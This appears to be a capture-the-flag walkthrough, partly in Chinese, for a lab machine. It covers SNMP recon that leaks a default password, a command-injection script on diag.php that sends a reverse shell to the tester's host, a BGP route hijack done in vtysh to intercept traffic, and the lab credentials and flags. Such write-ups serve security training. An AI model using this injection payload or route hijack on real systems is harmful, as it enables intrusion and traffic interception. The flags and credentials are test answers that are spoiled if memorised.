Information Gathering
IP Address | Opening Ports |
---|---|
10.10.10.105 | TCP:22,80 |
$ ip='10.10.10.105'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15a42877ee130706340986fd6fcc4ce2 (RSA)
| 256 37bede070f10bb2bb585f79d925e8325 (ECDSA)
|_ 256 895aee1c2202d21340f2452e7045b0c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SNMP
$ snmpwalk -c public -v 1 10.10.10.105
NET_45JDX23
CW-1000-X RCE
http://10.10.10.105/
$ feroxbuster -u 'http://10.10.10.105/'
45007:License invalid or expired
45009:System credentials have not been set Default admin user password is set (see chassis serial number)
username:admin
password:NET_45JDX23
http://10.10.10.105/diag.php
check=cXVhZ2dhO3BpbmcgLWMgMSAxMC4xMC4xNi4zMw==
#!/bin/bash
URL="http://10.10.10.105/diag.php"
COOKIE="PHPSESSID=vsn8nsns2hmn9jnmvu3u576s10"
CMD="/bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1"
B64_CMD=$(echo -n "root;$CMD" | base64)
curl -s -X POST "$URL" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: $COOKIE" --data-urlencode "check=$B64_CMD"
User.txt
13e98f59a7de80e9aa34e8473f592e37
Privilege Escalation: ASN P2P Link && BGP Hijack
$ cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
! 2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
# 这两条 路由映射(Route Map) 允许 BGP 通过特定规则控制路由的传播。
!
router bgp 100
# 声明该路由器属于 AS100。
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
# 这两条 network 语句告诉 BGP 要对外公告 这些网段(即 AS100 内部的子网)。
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
# 邻居(Peer)10.78.10.2 属于 AS200,因此它是 AS100 与 AS200 之间的 BGP 邻居。
# 邻居(Peer)10.78.11.2 属于 AS300,因此它是 AS100 与 AS300 之间的 BGP 邻居。
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 route-map to-as300 out
# route-map to-as200 out:将 to-as200 规则应用到 发送给 10.78.10.2(AS200)的路由。
# route-map to-as300 out:将 to-as300 规则应用到 发送给 10.78.11.2(AS300)的路由。
!
当前处于AS100中
http://10.10.10.105/tickets.php
10.120.15.0/24
10.120.16.0/24
10.120.17.0/24
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
$ ./nmap -Pn -e eth1 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open
[ default ] (0.0.0.0/0) -> 10.99.64.1 (eth0)
├── [ Directly Connected ] 10.99.64.0/24 (eth0)
├── [ Directly Connected ] 10.78.10.0/24 (eth1)
├── [ Directly Connected ] 10.78.11.0/24 (eth2)
│
├── [ Route via 10.78.10.2 ] (eth1) # AS200
│ ├── 10.100.10.0/24
│ ├── 10.100.11.0/24
│ ├── 10.100.12.0/24
│ ├── 10.100.13.0/24
│ ├── 10.100.14.0/24
│ ├── 10.100.15.0/24 <=== None
│ ├── 10.100.16.0/24 <=== None
│ ├── 10.100.17.0/24 <=== None
│ ├── 10.100.18.0/24
│ ├── 10.100.19.0/24
│ ├── 10.100.20.0/24
│
├── [ Route via 10.78.11.2 ] (eth2) # AS300
├── 10.120.10.0/24
├── 10.120.11.0/24
├── 10.120.12.0/24
├── 10.120.13.0/24
├── 10.120.14.0/24
├── 10.120.15.0/24
├── 10.120.16.0/24
├── 10.120.17.0/24
├── 10.120.18.0/24
├── 10.120.19.0/24
├── 10.120.20.0/24
$ ./nmap -Pn -e eth2 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open
[ default ] (0.0.0.0/0) -> 10.99.64.1 (eth0)
├── [ Directly Connected ] 10.99.64.0/24 (eth0)
├── [ Directly Connected ] 10.78.10.0/24 (eth1)
├── [ Directly Connected ] 10.78.11.0/24 (eth2)
│
├── [ Route via 10.78.10.2 ] (eth1) # AS200
│ ├── 10.100.10.0/24
│ ├── 10.100.11.0/24
│ ├── 10.100.12.0/24
│ ├── 10.100.13.0/24
│ ├── 10.100.14.0/24
│ ├── 10.100.15.0/24 <=== None
│ ├── 10.100.16.0/24 <=== None
│ ├── 10.100.17.0/24 <=== None
│ ├── 10.100.18.0/24
│ ├── 10.100.19.0/24
│ ├── 10.100.20.0/24
│
├── [ Route via 10.78.11.2 ] (eth2) # AS300
├── 10.120.10.0/24
├── 10.120.11.0/24
├── 10.120.12.0/24
├── 10.120.13.0/24
├── 10.120.14.0/24
├── 10.120.15.0/24 <=== 10.120.15.10(FTP,ssh,domain)
├── 10.120.16.0/24 <=== None
├── 10.120.17.0/24 <=== None
├── 10.120.18.0/24
├── 10.120.19.0/24
├── 10.120.20.0/24
1.劫持10.78.11.2下访问到10.120.15.10的流量
BGP(边界网关协议,Border Gateway Protocol)是一种用于在不同自治系统(AS,Autonomous Systems)之间交换路由信息的协议。它是 互联网的核心路由协议,在全球互联网中发挥着关键作用,决定着数据包从一个网络到另一个网络的路径。
vtysh 是一个命令行工具,用于与 Quagga 和 FRRouting (FRR) 路由软件进行交互。这些路由软件通常用于 Linux 系统上作为网络路由协议的实现,支持多个协议,如 BGP(边界网关协议)、OSPF(开放最短路径优先)和 RIP(路由信息协议)。
$ vtysh
1.切换到配置模式
r1# configure terminal
2.创建一个IP前缀列表,并允许匹配 10.120.15.0/25 这一网络范围,意味着此列表将接受来自该范围的路由或地址。
r1(config)# ip prefix-list maptnh permit 10.120.15.0/25
3.创建 to-as200 路由,并定义规则的优先级为 10,表示首先进行匹配。
r1(config)# route-map to-as200 permit 10
4.在 to-as200 路由映射中,指定一个匹配条件,要求流量的目标IP地址符合 目的地址在 10.120.15.0/25 范围内。
r1(config-route-map)# match ip address prefix-list maptnh
5.在匹配条件符合的流量上,设置BGP社区属性为 no-export。这意味着这些路由不会被广告到其他BGP邻居。no-export 是一个常见的社区值,用来限制路由的传播
r1(config-route-map)# set community no-export
6.定义 to-as200 路由规则,优先级为 20 表示匹配其他未匹配的路由。
r1(config-route-map)# route-map to-as200 permit 20
7.切换到 to-as300 路由,并定义优先级为 10 的规则,表示不允许匹配该规则的路由
r1(config-route-map)# route-map to-as300 deny 10
8.设置规则要求匹配 IP 地址
r1(config-route-map)# match ip address prefix-list maptnh
9.定义 to-as300 路由规则,优先级为 20
r1(config-route-map)# route-map to-as300 permit 20
10.进入BGP路由协议配置模式,设置该路由器为AS100的一部分,AS号为 100。
r1(config-router)# router bgp 100
11.在BGP中宣布网络 10.120.15.0/25。这意味着该路由器将告知BGP邻居它拥有这个网络。
r1(config-router)# network 10.120.15.0 mask 255.255.255.128
12.退出配置模式。
r1(config-router)# end
13.清除BGP会话并重新启动BGP进程。这通常用于刷新路由信息。
r1# clear ip bgp *
+------------------+
| AS100 (本地) |
+------------------+
|
| (宣布网络 10.120.15.0/25)
|
+----------------+------------------+
| | |
+-------------+ +-------------+ +-------------+
| to-as200 | | to-as300 | | BGP Routes |
| (no-export) | | (deny 10) | | (Advertise) |
+-------------+ +-------------+ +-------------+
|
(no-export标记)
|
---------------
| AS200 |
---------------
AS300 不会接收到 10.120.15.0/25 的路由,因为配置了拒绝规则 (deny 10)。
AS200 不会接收到 10.120.15.0/25 的路由,因为配置了 no-export 社区属性。
AS100 会接收到 10.120.15.0/25 的路由,并允许它作为入站路由传播。
r1# show ip bgp neighbors 10.78.10.2 advertised-routes
$ tcpdump -i eth2 -w /tmp/res.pcap
username:root
password:BGPtelc0rout1ng
$ ssh root@10.10.10.105
Root.txt
ba0ec18cfa0f83cf7eeab8c90a30cd2e
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)